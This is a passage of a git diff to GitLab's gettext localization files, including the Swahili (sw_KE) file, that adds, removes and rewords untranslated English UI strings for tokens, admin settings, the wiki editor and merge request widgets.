msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32667,18 +32475,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32742,9 +32544,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32763,10 +32562,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -32781,9 +32580,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -32793,9 +32589,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -32814,9 +32607,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32958,9 +32748,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33081,6 +32868,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33156,6 +32946,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33189,7 +32982,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33285,6 +33078,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33324,9 +33120,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33411,7 +33204,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34150,9 +33943,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34237,9 +34036,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34339,9 +34135,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34354,6 +34159,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34402,6 +34210,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -34881,12 +34698,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -34977,21 +34788,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35127,9 +34923,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35466,9 +35259,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35598,6 +35397,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35895,9 +35697,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -35907,9 +35706,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35991,9 +35796,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36079,6 +35881,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36097,9 +35902,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36133,6 +35935,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36202,7 +36007,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36343,7 +36151,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36475,6 +36283,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36775,6 +36586,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36784,6 +36604,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36984,7 +36807,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37005,6 +36828,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37020,16 +36846,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37044,10 +36870,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37317,6 +37149,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37356,9 +37191,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37536,21 +37368,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37614,9 +37443,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37776,12 +37602,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37809,18 +37629,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37833,12 +37647,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -37908,12 +37716,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -37998,6 +37812,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38007,6 +37824,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38099,6 +37919,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38156,12 +37979,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38186,6 +38018,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38204,9 +38039,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38509,6 +38341,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38593,6 +38428,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38672,9 +38510,6 @@ msgid_plural "from %d jobs"
msgstr[0] ""
msgstr[1] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39060,6 +38895,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39096,9 +38934,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39159,7 +38994,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39240,7 +39075,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39303,6 +39141,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39586,6 +39427,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39688,6 +39532,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/sw_KE/gitlab.po b/locale/sw_KE/gitlab.po
index 3876ab3249e..75427d6763d 100644
--- a/locale/sw_KE/gitlab.po
+++ b/locale/sw_KE/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: sw\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:29\n"
+"PO-Revision-Date: 2021-07-01 21:12\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -89,6 +86,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -267,11 +267,6 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -421,6 +416,24 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -464,6 +477,11 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -654,10 +672,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -821,6 +839,9 @@ msgid_plural "%{securityScanner} results are not available because a pipeline ha
msgstr[0] ""
msgstr[1] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -854,9 +875,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -957,12 +975,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -993,6 +1005,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1480,9 +1495,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1543,18 +1555,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1759,13 +1762,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1783,16 +1786,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -1912,6 +1915,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -1921,6 +1927,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -1984,6 +1993,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2110,6 +2122,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2344,9 +2359,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2359,19 +2371,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2383,7 +2398,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2392,10 +2407,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -2806,9 +2818,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
